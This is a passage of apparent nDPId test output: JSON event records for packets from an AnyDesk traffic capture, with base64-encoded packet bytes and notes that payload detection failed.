L5pUSe7iQEvqiYSXauUOJh0yu\/JiZCMOC2Wxzp8ZKA\/qh+5Hu4\/qGsQuspQIMTE2QLO9R5z9ksHqVjDZJzUmqIb2mfD8mqfLQSGp1y6qeosLURfD\/9v2mBqLJ4nvS1q7cuYqNRB1rjw6QpDAmyVWqtr5+9ORfStm5LvOcjGMe0nhYFSd15vZ5L44JtJeenifmRh005JoVN68mknbPuygWS9I5gsvg0zQyOKigBxTWXLSDATWGNqbw\/nMJTmis5K+kj51ytYUpWZ5JwU5kL34dp5jMUjeyZfC\/QcbXsVzdQxXzwAoKgrOBYeemG3Y11b13bP\/lappUKLpPS2eifllT4VOqwd0nprbRaR06n3wfSCQ2NEK\/MpfK+bP8xzS4L049gDP3hAaBn0K4hMT4RWb7Q9sToavcoLzyLUNR65qMnA8isQYBrRYxujG9uCoeKLiQt4eQky9sPnHvJ\/nhPyTU7aWtEsC9weKxmem8Du2zfVtOLdEKtnBFGfZJKI1i0LyDTbdeg3MKmrnqMLhCTBwCuWHoV690NrHhnSPSEBEIShZcXZgVG6eQmcg6h8BFvGJSF82UQxJM94X\/29IPkVD6RmFi6RvWbUmu8a1hi4Pyn+2hvEOyHfxNo02T75aR2w5cNfbihCrEqScYm\/WO8UWWVqaFzpGrh8WJjDaqsWIa4GfVCxp3L+upCmmSHv+wCy\/kJIIjh82up9z8OOq1q7FK0AxwU2gMuHrkW4WiUnBZm8E5sq7t65YvQ0oiG8+B06ZhCXXLyoQBOYCJ4B3EgjGpKw1tIRwhgOAxKhohILVxpjbolvVfXcdEUlsQ8prJ0vE0iYOVMBl8\/FORBkxqR7pcE196d8SD3ByMTj3EHj1eoP44QovK3Q6U6A8g3gTa9ucRxrx0RxibrifrCTShlo1zjAw25DxCYxXoK4BPbQ2FoXnB5aAsVVg9BrOLGXtYctduHF1vzuVYq9fmBPz0QZ0dJWoJ9f7CH6v6LCo6VEOekOdH1lC1Eoo2XAGLU\/dAAOMv7RejSLG7gWr8lms8EWSkvtT5l38iFXtmI+8v4v3h7suAYF7ViphyfA46kvZm798xS2x7E37MWgQk4s1WYQFk\/2+mZZOAQAvqJmUwUqYTtFU1kBONOAglOg1dczdp5nl\/CLCGGCgSK60EaQeUasuyUI4aJJJvcGirSPFLDhUlCBCbHsAt2sBFy+rJBmp+vDenO\/2P7chDwDTDWR9xiRdzjtgDebaVKTRQVtl1t84m8TfyGFRYAwv7EykJs1KKTb7DCt7mB3TMuGYWtGfxmouXFk7VIN7ZbHvs9IUL+uJLyW95D4HZNbT\/4fnDaQensb5wrXVH64k4JXDHpBPqoSEUar4kzb2yADiivcL0nXh\/lSHzvd5Fsz5S1zLSBBRsG0h1XhWF+ruPL+oeKs6tvSlN6hP3uoenMWuBj0GY1SOeK7hwQ6433qP+c5EJ6pPFmfKhWO1xR5zlzqMyLhu6mafFVLTLgvtVK3ru+xxoy4Es0kXz0dCoNzNrOxEQZHgpaorkae7guW9mrzagQ4504YGWP9mILeg3KgFX9vad7PoBNnVbMi8ve54G2XJGJPoIZVPdLuTEhfc7rCywcUC84Ug+OiyORIwPDBxunQLP4sEoAAxpBi4sHJDfEeUoOPNszWIQ0jK7MBnm\/ldAJm02bCcj4YabRYVmfr+HLcI2MmEUcDbNdIwxa6cvSxRxmZwrPHfdrsJDnMWKz\/aWBTiuDij48R9CA180VouIxOOYASq4XWFMCgoWUMbchBVk44SXWN1OiUOGuWO9MF2Dw0u6SWnTvtL2NZCgC2SrER5ZUlb\/llWCXuPWnBeagkaStenHcdT50Vo5pccHJ9xhKARuh27e1666aW+93QZpost61ndajwCjkPv6nsdWyIR\/y2J2kD6V+XVrNncT\/cQQSvzwS3x0VqnWogyCUIyYabAyq0M6AR0n0GpozCGpy2RaT82RiuPShiIcDArK8eZNMA0UlBz6RFEKY5t6YeGWOfRJbK3ICCZS5OeFS2FkAUv72zF3CAU1OWboMCJmFK23NnS8O\/w2vAFI60WOA1+VT7ubXG1IlHBiHwVEeJkJi1+4+y3uB8sWjRP\/oxl9nyqUt8n2Avj3+aMY4b0mIimdV96GSuKzGJyIW\/AsiNHemaEo\/8h9mA8O+zpoc0qA3IISYziGz1roqfvu8iCWdUUbSrZufRXzMcPgWKX55WOtyIqOUQL3Kq60YcaYrxZYz\/Vn1Uw+mdElg70O2ngCnLCSQQ1yQwfLUe+7E+DrnbppkFf4ODQF79W3V\/MAGRjv2oCZ3SiNvERWg2aCInLdr9gUc0NK6syxzcitcLSLOF6cT6xz8Gceh"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2130,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +06411{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2133,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":113030,"pkt_caplen":4508,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4508,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhYRAAIAGAADAqAG7wKgBstOUG56PMnyZWcRH0VAYIBOExAAAFwMDEWFZ4hNO+msXBhOhKNVCGUIzKsKoOxuF5+F62LtBTZmzwYtSfEdiW70W\/FJxIrkQCgPj7oV8gUHjs5DhVg0HqG\/Ei+GYNd3ifPo6vOybbz4dVO1oXaiLQ\/sRtSJK4JiZE35vnko5ZIc37qntqSCk\/Muh\/q61mEn\/e+gEBkOFj3k2T80J4RpTuBNu7UaVO0A+QzP4jAHnZqH2qqM4CGIa9s0z1F8X7fZJZyutnIzE9PEyaR8UeVW59ajQcOsk528ScxTbNcjlAKileNBH9PAcgwZvKOdiVG9pS78ZwwSUTox9o3qX+Py3UZxU7fM8TA3xr5\/m7Q4Tr7MXqTOkbhW17o07aQmJ8J4TyG4WtAbms6MAQ8lqFi8NDxNawIrwtiClUeIZf2pSPN6Po9I79r2x2jfntRG\/A0zMkw\/G\/8nD88be6HVM13+HBsyq+eKkj+t9el30w+ZxulghveJ7+rpxthWpPQA5zrsJOTtHJa3KmFnPJT5nuDPhHdvZ6Z9K4mpjAbr9fWhQj+3pLajSKtf4NMn8oQvzbrtkIoTXO5DCqn4SFiofI1Rm3jmsCWGCKgAY06UPy5T2wN5kmNVag8WHc3NTxwbT9b9VhTWiKBt9ZYYCuZI5w\/X7djixaIS5aGot6sC7fAXQdkk3TUATlEUPMaanS2Bm\/5\/tMZ3fu2VLcJ3yWdWZmpX5LszgyMZasE4kKDdHn8nGhysgSSK1Gf0okugF5Th+RxfW4gUMjBS2EF+PUS++yKk+bMiR4+VUj7i+NFjm0ZWPEacPAK8ha2D\/xu+Ydkfp6k1GImkTzbTO6+B6zRa4VghctWDx4YNhGurkco5k+0Yao9QNtq8OAkErMYmqgcfN68yo4N6ayvw+1Om0umRo4U1L0Hk6jX8YVx7vZWnw8fo5WuklIehMwWqif4jQqEcnPZYdYihmAxu5FxpkZoHHvSOwpc6F4YsPwqnFOby9vlUFcBA6E+D+1NkSDJZfXVdapms+yiA2OdPGkV4IQRhwqo744xGeAjZEIsyuTjGz1okD6zBlBDQ0mcxiUsy2bncaxV\/fI5mPJ9yyVpTLJegBI\/P3bTdNFb\/9XgyuCjKySY+ACOQHvqx7mvxqLmaq4L0CAoawp34OVgi6D5nuYgOAPz2nMlWtdezW213KNL95uz0d+9sw\/w8cWAsuIqG2Rk2iSHoOHbyyUSG\/RYng+DnD3q9oiVx890l0yIkZzzFTzqUeCyifv7+EVp\/QUZ16w3H5CiuM5Me+2FU2XaKAxiDgsfUOXd9eeE6RyDGHQGem0kDn4YZCaHt2xq8\/jUzWhBNW4rDD8xjjDjvd+sounzNk13CApkBWnFgpb50T7+iAQRWIQlbXDNdUt02OrAxGLxSn8ziKrzrAODW0k9cnAq6E7FvuRr\/1qpxb5\/3u2L6qcIEYx0FutaGTq1tKiqHiGDdCJHLtZ5awcSd+TXcGjaAGz4pTcP89bmZL6+cRTtg250MlvIooehPOQkIkmb5N0YzeLC\/Oi1HSMy9s6uSbNefFt+qINlYlRqSJwqdanaxDUDCHIPQQeMs3OhRZWxwqLU54m6GpNtwIahRBgXOkKiudOGAgYLRBafsdg1C9sPUDf7So49F3nbsinJfgWfDPGBxosVlEd3aJJ92kZDH04q16BvI+bTMK+TL+Hgr9JjHPG2grXSNq7Z7gxChHceOhgUw7\/bGvltL3yVfSLIbnow5xCViu\/4nvqC9oslUWAjVlFSLuFkIa4\/\/oWDzGzC1iCPgmCOybsWMI3NSv4eHh4QqwJp1rYpxiWJZuEGhyazDLo\/SkyQAz0BkZEq+E7hLxvIN\/zCwP0+TbONbkL3uHkRzltBUFj1Wwr9jkaVq+sIzO6zYhtScd\/2LzHOgphcKFw3XCopCP19wdbcYPf3VDrVPCjcrc1ngS42kPLhmuPQl7FkPxi\/2QxP7zZY2If\/MP10LhTsYvdNieGdMPp1PaD8u5NO876BEi\/jXzPNsCTJS71u9qgeD5ksrxMFXvM\/lO7pu8JPaOqYfjT279xF9EJEpbLAybw0K8FY4zQus33QlOils0UHRFmv12uNKGEzqMPCf4qcCYP7Ejhwxt\/kTwu+diDedt3zC5fmAQbKVbe8A72W6xNYY\/KJ9Td58FOlSaDAFVT7pwDIgIbbs+EYPOswIj+6WrSkdTGEN\/ZEidT0eUbTcaclrGpqfcgESDm6LNm6nbOX4eQINoB4QZasy9b1xVbt6ksvB61XdEDgCn\/UryqEmG2Zy2AMtdQiGhmOii12IubKCh2g8lzrx1PWYE6w5uNIrSyFH+nWVNW1QvnwxO7nmM8IHilX3pvPf6D8GaXR9cI7LjK2\/x2sXvGZ+SM9zG1xJ4hjpE0f9MhBK4ecuBR7IbkuaR4D39b6BWRpGaZjYRML1a2w0RJsQgcBDbXclZxpFkPInG+FoytLuDseKGSYLLXQkQKeQJg7OwBsZcoYzcQPzM5i+cfamby2bvCem5XtpPt5Zxt3tqd8a8mqzfSua\/cQQUF1OMK065bmeX7vUbPE01qFV6hnENWUWYBBIepjzR4Tj6\/OvM82fvUK1Mvd8uoC98x4IBYpHpee5wsziB49Q6wXYrVDdx6tGnYn5QHZ6myL\/spSKpDiPOn1q7vysX5XixK4GWvmitI+qKQQh9kK3ug6tAFRjw7fatOQObwq4wwrNyaQQg32HQjNBwzeGIIjHD6nxuZebDU4nSZI+14\/ZVUAdKbWKO5fT0pPCEfx3rb5+5ZYiu\/lWjAlYayy2aqqOD+zIg6snpWAOpvTjH5djmhv\/uYxXLJu1SyKjk7CivWqOGP31nSjUw0VWRovcoDVaQFMqZ8m6SHSYX6kFsXqGix0LpkmnodK9KO4F3InvWIpIX4XuPzrspOR5nZ1ZdaDNkdPu6bC5fjt9fVENKzfWvfz2Yx6hxKxxDqW0R3Fy3mpdvV9byJVP6nFAidrplQNjIB9mSb7xmrBxWI9vEwh0puiy2kS\/f04HJWp53Nzr01bRehCleaDINKaJECGw\/YomPgKeE8XwZESwYTwckiJF4mX8mHBKbffoJlxiWEEmoH93nasW0ied7U0hfsDem4CUdLnYyhyD9T3kHZUCQcTcTiIQ+eLC4475RhJFYsD8HsX1SxbWu88h\/Bv+UMs6Kw3YvPq8\/cFPVnmwqx7WZrPdSum7pdvbZetybaD1\/Lr1FjqOQ4ZtoNK3b6tevg7KwNzgPiY8KM9wJtua97FFZw+25apmR1L4yQUcvyCh\/zcKWbfnf2Y3QwUiI3oHbxdmeORGJrbifm8qFgsAC7rZVfEw5wJuzIBSG1MPFe6cKTf1KOZQg0Cg8QPDfhFK1ojytXuYD+7q54x6l8oCOfYTJdwi3LVv108DmFL470IUU7MzGL6EjQnZvmiJQY2bzOoFPXIrxJjX2Oze7xiFQPbyQ8ia9R2kIwna+VGsSSj113jyF8pzex3U0GyRNTiVkkIhM2pGKTNPaqtWLLBEzJVy8hfRvcqMMkWVawGS1G2C3XJy9bRCtVGVP2K094\/FrTGnfUzYrXonu795Q+hRaHWBNuL0akREH7H2BhBSqg1lI5qDX4haPBZhEouN1bzAURxVTb12LYphXYWPppPQRcFBJjaxtDcTTeInU3yVpGuUbuv8ii9iDjOmYtQkrwEpHxF\/a9lBBvVc9UL3qq2PwFAjQic1djYnydBYewS2WUEWaOvXE7SykyVKwwLt+GgAvXdFh8LmBulN2JVL0H7Kw6JITYsBZ05iVvLwoGX2k6rAhKBWLQ7rWEuAqi1WWgEaMtK599zimqTpOeueFvKMWXQAvlpSwlZSfKNMltc+PuohwEOpRJaw+6e\/P0s19PWazLn0MGb4hM4guiaVVIHEdmXbKj8vzzpptc1rR6KmWsqAWcrJAsk315UoG+NJhOIZOdO+YBKl1eZOGdl1mXLonj8ECiAZCPCGMKTVLPzBfY4Br1TM3GJcNLvTySOkNRWm3ynUHeqc\/kDxmzaSQ6tIByBc9YTbj9jvdFHAoB1dQwQYbgWixoI0Fepom9f4MHZiaIQ+xWlgCHFSu\/J8UtO3zClIf\/V9v1\/ev3hxCCZxdUIPUTWW19Fuj7oyVYZtpxu0RtTgYjM0CIw2r3\/8Vpk1XWSES9nYU8pisFlCbY1jbBxO\/mFGwDMoKdE5tGmIgyTGSCy2NDK12m4ViQHa5nUYUJkitj9zgMdujGsBfbIHvIyAVJ6RUV\/b5sgIYvpxtEURKFzFBA8TJCkg7jUXC1deVUnbw8sW9x18\/SC\/DQ5kGt1HQOIBBGyMIYjRpExJfCASOLERrSdPb3HhuiLSXjY6MWOBE7i+kS1Smoet6uYapxXvTrjHOUoPjDlQ1qBWjxuBc4nJmlr1F29\/wjAlPtSOnGN0P6hHFZIoG2NJezyx8JQTJlu6t81qy2ii6fbn\/BseDmVpS7kyGCm4WMep0tc6H7Aba7l+prATnc8K0mLNXMN0aG+u7Wk\/JSTVrTBWsJgoaCr9HvvKnUjNksni8jbjDy15vTvV4Jp+7dkv4a9K+ySDbkV5Maxb6tWUyXQsrvJnRHK+sqgZdAg7B0l5FaZa8g94oNh6\/+8b4OB0\/cg\/20KjQcujWQ5MNmc4UwBKI6ent\/GUGHmi2CjRCcVe9hBVhV83B2fksemcMhVk2eP\/TCed12gYlj09wu5MeM7z3TSlMuacpK5WegC0N9U1cPv7dileYVuLj9jDzylVOBpVHU3wyyApAEIx5\/uKnP61AYgTo4jUof0Yn1j6\/uK8DC9iwzviQ4koyUweWJiq6tNXaGvHl1XuGrSxuca8+bUfBtH0G+N7+4FXE\/IE\/X0pTRl3UjrWIJawvhV+oCmIhL\/eOqupUEncyUqtudqRfBY+N8d9QGdPc9u8KLYlxlIMmgLlrrbQ\/Ag8Py2Aw0gEenufHhxKJzkwKu7XhxBOlg8xyypXfJboSQ4fz6MTvKhnXOMWa7I+UEb0DJ7Ro+jbMhijU7JAUUh3bf4BOCKyJAFOcn7SH3v1zcFxESI\/EdHurcDc4AWebfL3nGFc7VwBdVLhDOdU9D5pg\/nbae3\/pksQPlTQozwwxKJmO6s5TBHmj9VXXqRSHASi00CWgyQ+YnE45SiKG33eeIr1KMGlto4JTSl+hLg+NBmoEe+dEc0sgaPYUYePH09lYZqKdbzu8Fx3h3H1jD5mJJY8yhVg9fQOkwp6m7cEkOcxKjHffTkd24xs4cFo1\/WVnuq7P4S73DIEO4s4FwpLOvSyZOP4aHu2qHpuJuDh2jhYbuIoadB4NNVY8r1R0cI3odBjJF9YfKFWHY+1tWk5acewBEO1O7FXz1bSyvixfoTw8FTWiTKUxh612mfEwIVkwJbdtO9\/5jBM+6azEBMKFdkTEm0mqNZhgNh6+7xbJhasAM9z\/fiI42WJxp\/UirgU5CIAgdM31EcrGAut+ZwAxJisvDP6Nd0+uEJPSivwGhdFUAEzSMsaxi\/Wpt9LZNVP8lGOQTnlLF734bL3F7qZqGDZTx1H6xRMmGePCKsh6bk45jbrhcbNidfneNZIee04kgwuE8lUdFTQ4xP7pooRKqKfxKPLGmkoaxGvgV2ULVWj1zXGm+zduk8a2fVb5FCm3UyOEiZHr4M46Yvqoyig79bcA\/RjYx5Vch1pKD6Tc+AGfXY6iwn+vcxgG+COy2Zm9v3BBRVeHaY5XwvmqSug\/+CF6ZQr0fqqQfqSxiTLLimQbPkpH0Weu6ZzJq5PKe3Kw0G5F+6k3LbskRMqa5NhbhX7ylmYN37YFEnDjLBrBngo3qU3VEW22CSZYAx\/QhrPqW\/lPjIFWtlfV\/3zaFhQS4+fu030SoFaXCn\/hD1NFyaJa9mqE0m9RGH7asulgNdHHapHMsUV1tvP1UhmvAOLY7QQEgnI\/GiXylrMbFgdImn5yLzCY2WUacrQRKujWIIc7ixfDrBYXWm\/JiuM="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2133,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4474} +07824{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2134,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":113344,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhYtAAIAGAADAqAG7wKgBstOUG56PMo3\/WcRH0VAYIBOExAAAFwMDFXlZ4hNO+msXB+6LX0TZXwIh1F\/Wm7GOHsq02EslOJqZvunzgDVtGziz4M08p8PJzc5pwglo0HEov+U+ax2lWXI8nuQsy8RvXeIlmHMQWom+iA2me2axjegy6J6Y\/aQkuQUOAWaJQ60EWpz79NbvDtoPlTZ+uVbigLbs2eJTeV2GGX\/Jfz+si1HguRr3t8TAkiLOI\/5ugw1bSx27ZMvwlPbj5yrspswwPz+nbgKcLKHVtjMYzjtuuzCJgkgLFJJi25DTT7oebb7bY0+CBY9\/94qv4CRpcywAfdxqXUyErqExpqsaNgedWGeagkXUoAzC96WgCVTy5vKnPpJstWFpj3MCTplyKKCEx8HBjQzotM8kNytteqou8yeJ1WSq7EBU1TuAtNdvyi7YF6LC+kNNHn35+JuNGCpOcKkTVMCFqHov69s4XFv505IfJnIFSQomBXfl+aMehZMqLEXEo05C9ZK99kJhMiIA0CvLwSTBh0edYLoz99eNN3ed86Iey\/gPFxdz4\/5DzETxvZwZaudRu6XR8uT3xZFazmnMo5tX5WRMxE\/TW5BRGYZ084WNuhY4vlhd+4YA\/GCMTilKIycSoUpPRP8J\/U+mvqziiS7OwgQlRpdkzO22bEDw0thsXlhi9Bfv6sKOFhAPq1YhJWpxEWF5zKmT7C8yf8RGl\/ilJYV\/zU6Bbttz88uFq7FVcgjMfrGnsvIjZjcbSc7iwannW499N7FzBF4D7quXV1ryvBSWOWdIWyqLxuCDO402Kq8Xrwo\/PC90UodxGozYRycke7pxx5e3NTSdmL01YrUd28XttMw1SOP8kQK0IZ6AUNw2PSd4rVaq7x0b2ai9t2iBDTkoY390Y2kQumdGdYgQqx4sMmsyc6eDCvXTwQDPbnLqnSO+bJhhSX3Atzj4PsCh5iewfSR5HNOPI2Whj4CPaGBd5Y\/ucWCqtdauzKeRUfmbuXDj8Dc3s5bWiovjKgCAN5JXXta7S4+kZ4w81SdmDqHy0\/EHOL3NwO3+wa4r3+2ek2AwzV8n4eXNVRWYCR58qguDRGbATGwPaLQnetGj1dKdU7zffcw\/WOy1YUvy8zed7B9yHjEUj2Bj\/v5k72d5f7QfAyQm2SHf5MUy5A3DiMgZgg9kkIT71dTA91DkvV763fSGOUeMiUByF6FFpLgfYQ4XqMokjj6f7R38Yhuk9haZAySjxccZRoHqxiZLe75r7LCTkGN6Hv4oBG50oDWPtL3Uz5axjRZGL28FtuCertI4LCMQuyl7SFyCsq\/AFg4njbzkZc05kd9ZEwv7Q734FK4jOEpdxSX7xtlJFhuWiKDdUWovxVQ9cAZFxIGOn3XnN4DEcHM4GQv4W0uhjlCOybX6oMBK6RvZZ2YuD9pAa4UuZpofY+Yp8qpNxrhku5eSC059eI8qRAJL4C8I4xzqegDcKW5\/pWMtR7CulcGO93if7ht5ulBoDEi39HSDTouLfDecGvB1pVTfP3B65r2GRWuMXaNsRVpW6rof2CR3TGM00pnGz7cipbAQrIafxNNDi+Lha9S4tpeJNXU1kBgWLOxdTCMNvQwY0qqItgIr2HKbgFhRV0fWRKVpDz5Hu9iN4YsdICqgQkkmjOjAYgHUAKqfgExPIWC1YssqqGbO5LopbIl84MHWMpeLKS\/JG47iqJhLMgSOAwK+BEdmlYxO8RkYFdxL\/DJoPB0B6KLevm\/Zt7M2dmeMWlZqWJby+mNTnVW+JzNn4a96LYuTjwJIZnLWZZFYbSy3s5z8OwfAGYxnMDNtN\/1iSEDlIJwlciRFN+AgTYiKvsNTYbJ0VCuF2z3kjLNxTjhNT4cyn0yMbHZ7P7AQuZbSFSaZTHc8Hz4E+2Brktz2wlDhT\/25Wq1YpS1qDTKhaNCjP4ExfhJ9nPaACO0jOPrA8zL0DoPlX6aBlP0ND0ymOMck0vdsrD+uxvNYFWgJFZLaWrFEepGiuP7AUR4PNDSuoBSrEe13YARh\/9RVeVcpQ3R2vcVjR7G0iqz9OQmUNcnELRW8h\/+DSbyJTHx9Yr7bkPtvKX0EAEJdaeGiE+1Hqrq6tj2wg3qqgAt\/RhmIG\/ttEbTPJzX+rzJ84lDsT72jLdlItFemzetAEHnRan+GudMI3GHY2ywO+\/61eJTcjjLIG3SAIJMYpMlVxlEzehrfn05qT9FwoccLczBLAqdmG3ivND6lMhpStbHU5fjxrlt+wwZ7IrGYmVSOQifeGsVFJbGLiOVJcpjKy6DWJsk705bilC\/vs+TED1fSm3Kxuor3OKzWu9O+yaKMHJBNTwNMvS4bF5e9Q4eLkxCL6U1FRciLLsCLCLLqoBqLEkCc+InwdjaIuShKXSkAtff+Xt1j1QIlmL327iFprQa4b7TFOXS8x+mLES3o0b9hovH9h3enpSSzJbXdhg+KRVQJebSPPs\/PDyUzybh8TxcMwCgH3EK8Yv9wgiU2xXJ56\/LVbFwbLUUUZCZZI1TzMURWhuSi+u0digEUjMBOTSNzlF68nMVkFiBnzGBh\/Dnqmzw6y5IDDFX8xI\/u76eGV1Kx5QLkDIAptnREn2vohgznDHmkJIaeR7tNhaQd5Q7AHj2sZZRmeDH4f8J88P62oJ\/Y5sugfCg2A3l1+SE5v7ZENdB603i+A0w6FUkmka9M749vTdmIhjiCBi9vtigvXNcsbV\/0oaJ1nF2Ck4ma8LMkiowPUn8Psg1ZEibSYky5wvdUQMbZ8HIunDbL91wkCn3lrgsz\/ycNtM0VdwAdX0lfosBcLxguwm2n5CPap22ojeaE4lpbuHLVJ2NzG1IXe4zVlPOINOX077Il1PXBfHmn\/6vydBmNruKjkrYqXjO8R5fWCfapSyhpYxPke9c2KRXM5qPHS7+TQYFGP3Uwib5tBiVgSJWhZsmeDdlF+RZn3jMBLJHMwc\/Tu8M3Q\/VL7DrN301H\/+QJLhMR3K9fRGBZVkTZcguanpo\/D0GTUSu\/n3t+h+OXgme1eYH145h+3MtMwCZe5fmjfhuL2f538cw3NKnnFcC9N5taAxZhaN3joO+SCuGeKv+9Td\/\/Fl8J9aUWfTrehqKVBOvsCCKam2wJ324s0xkxxbJFYv96kEideRrrn0T7E4rSMp8T7Dp4qqUaNaAAk\/6NlseShyWjP97e10wLD6EQF79Mua32ss9bA3ILUUJ\/XLUiSMAGfkk2cCdvfQOTubAhN\/ZnBNXI2DqbAxXN3MivOYGCU5mnIOgKkD6KexRJrm72CoeXb0cSHYKiOEATPBZDQQUmU\/1Q8PteBx3LxCAQxL\/M2ZFsJe7OuCptEoeu6LERivLbtfkYIz5eCRldcc4uocohqqkHto\/LS2mWTt0rOE+FOIjy3NFH2t3GGtK2jrwCVza\/LUXedmJ3be8mSuwq3JztyI8QG1vCkZDYWg9UzRwmtiNfzcsJw7fUjfVomToNgLendshFUQ3S\/iKkS4EHx2nZ92tSJJfKqbHbRUqc9b4KeKsgQht+Fy9PkvcPhhr+oYF0lfxaKF1ynoU9VxHWf6KXDi6dBqytBckiUYQ4BT016Kn3OYCnNdoWDxbgx2fvpyb\/pXgAZDTKu3LOelSFYNMfN8qapZvWeS\/4FDcR+Dtb+RzRuPALx6cKafGuprlBEYtO19nGoMMYG+VD8EE4TgjnpMms0NNB1HsU69+Ek4HecppcmS4FSyQeLHn6509+hPtXmUwtFeLm581r1IPN7V8DhkmGmmVVEKxGblzYK8s1GvGPGf4b9hbOTO4MMTLFZLB8PuLmgraBtrfsHcdUp\/LLpLQ1bm\/dYVe\/tTsmo4yUtteOfRznOECQo7vTjSpsDs4KdodHd7HqZfseaTU5g6q0ZvxqcvIwO1g71e67A9i2ypjvN4DtkpKGxgun6vX9NSi5ZaGcIlS+J1eM3hLAufeVBz9q9K\/edH6w2wrErEsQM+EQ\/J7KtdGfsAT1GgH06fOBK82o\/f9RaqqSWO3u5v\/ZRaMcWjOF1nx2ypN2d9G5475BopyZh\/QYQMq8eZz0f\/5ZWdArCq+oKGbsmG\/3QNMKk8zgAId0cWuMCVhRx+6zPRRdpeof8f0UNRvubIR\/IOjUfRC9kmT9knp2ulwv01QeLsdfDLQ7ZxhQMIc6hxHeePsfZQigroV4ANTKNMVlMIcjsl7vGjiLUnxpgq0c63fPbqQ4N0LpB2DhnX5FLgm0x91YfMqdnaOlD7S9eGt16gYw0s\/U3u9n4QAok1kQu\/avfqilCqNKMaJf68\/BnISXbTSsDTkD\/pBjIkdCEGt0TmT\/isy6AQ6\/1p3FFlIn6LVVGzkXzH4W4JWQFzj4H8AVStK+ScVohzFcW+yk2OeBHiwrLjKz1Qm9eJ3RcBO8ms5QFnpn8v8nYhRT2or7FKemWcpTTEoLlfGxd5iI\/RN1jEds5lPWaR+Go4kEocK9Wh3CUlD4byC3mSWMVrD6JhM8y5c\/ojtkr9+YrjbW\/GlR5JKyMDYsDpCMVLMsa4Wem9WUBWOutR2rDFVa0Tl9uT8tjaLeBe78Bu2uXkbmqT3R5pxs4gXCgIYk7tXkPVJKRKHaLGM4BXqtAx0cq5Qr9cjw28T5DdAkuvvI1UmZZhspYeiisBTTuBhsW35o8baGlGtD2uX62zY4r+S66pMzTT20FseOFu0fh7uH3ts2bV3\/U\/0rNFprZO6VsatiFV7tQvsT4FXckDHcc0aFtCnpqaPc2HvfH4GZB0G6heoBJr6vIqanLBB8X8dATJmDWcSwWoI6ABqxQQWEDnlmMmajSxW1MOPcnSpKm5a3mUDCEMoKjLIFjJ+OcFBU6BjsxOIpbJbhPU7avTu5t+uyVfcNItuIYpiMhgKIA5N5IVFhdQUpVfMr02RVZ5Eu8s3jC8D4XT4CUUtre9ROSHS02PYmpZx3My1JVDRUMK1cdW3hsghh1oKsBpLv5i+zoIXlH\/YaTgVw0l0rzCYJ5Z9RPicYafbLZgj1UX0GljEAFXjQrr+IOwZaZ5qFU4x058lYSrV\/WM1bl+1sQ6MT1ewQz4KM+D1XZ4EK6FDugwATjJnrHbvkdsrXfmRT0ApkGuLXMUGbypr45Tmw5VYiNDl5eSRQ\/BRVehEEnHGcs5smIdhQ\/eLj0sFJxD1d1jAnPrVfoK4SMLLgrt4tEGbKLIZ+6\/A7nebTvHqOVktL6ski2W5OgHW9GU3QLCnDwZtanOxTp7Q4+4bBotelOrQ7pw62WNOS1Rf1oQm8MlO47a1zxWFvpjzodxIjaXKUvRwods6biEVXnZC3Dj9m8DBvoVX3dgnGwb7mfzFGslVzr+eGFk\/xjy7EpjipiRevelGjy\/ezRwItmzrgdzd+4YfhrMr8E6Qr+vqFudh7BxKSWR1vUnxPSsv\/9wXAHe5a1qjYp44JUwg\/pHIsg2t8uJsB+b6q6qCNT7M7z07oeFZW3Sfd9pzjV5DGvlDIwZH5I7+SCeES5w7qxEOKeaM3vo0SBLUXUP1LQFQEHI+X79HiBZsMro4TUL5AYX6m5rGDr5mA+7SDdFTQqH5oi37EZ\/dwtekxaecwVqxfCdB5myv3KjQ5F+lTDfoVKnLC6hgJUtSXb6jLmB8NgPdS9HoUGKUbpNhxmB7f90WwLnjfNOVbooW21sGZcmjIE0JF6YllmUNTisvYlsH8ZqcSlITEN5v74Q3a\/w3EvAWwzJY2QXR4ANrefeaGi2tzlIbJi4ieElm+IFucoyN3Go3kV5r0\/CryHBGzJ\/4AAbEjoAigrmMXW0agz1ZxwRlXndZZJ2faEfutdyZKhTxwAJiVpCng00qHVx0lOkcSvaSNzJHWJ\/70EoP4SVjNdU65pDgkOr0oc38gc3d3Bl0Wv+zl0DJoFZNXiSsFKrehrujdGr2+p1RAWVxBkp\/ysWuvHqJ+N0ChVEzD7f3OgVl8PfhN2OqU3wvGetkw9ktjLY1l8sIL0NvbWUYiZm8qZVkWzKv\/OsAfEMBOarvbXoLrkndF\/nlayM6diwoPe1qZZHtKd7Zb6dXimuXtDpjLxELyIr7SU\/oyYprIT+omJpuhaPZR8uWxIn4PF7jxrFfrI3Vl3QR6+tmD5kCK+0V7CIt5Kdtb1udKdXh8Lp1gNHyTHgw7YQ2J3VKeciX1sXVgrSpBYLRwqam\/XfjPOoFq0BEwb9X4t12ppsY3P65sd27kYJMx5qq1dEubEqoAmSy6ExT2YIuT2usOe8a1Di5B+JVjbhvmtUKe7p2SUpp6Xn4el7SVombpCYzzveklaZ+qhCykEZ2b\/eZ4n7KeFLDq+6T6viOfkjqpA4F+AvOfP6uIxWlBHa9+PotH0QJyw4myLZVhe8USfrMrHR83iiQv3pqcZcABrCzARdIMK5VNyprUbpO4GI9r8LunO13DIAOuQCurhWyAVbFU3Ca3SiAQ0Hj6HmwcQtf6GUz+oP2VLYHavIvZwwuGvbjxY5RsGEiouUM8cNgJB1iy0bRY0Kp6jE6kVN\/hFNQWKljlEWPsl+Dd8zn7349HcOMvmYvQEsbwWUNmcwEI0jD26ij1kxkyVdAyyzTbQOf6eZq4gOzBjBjrqc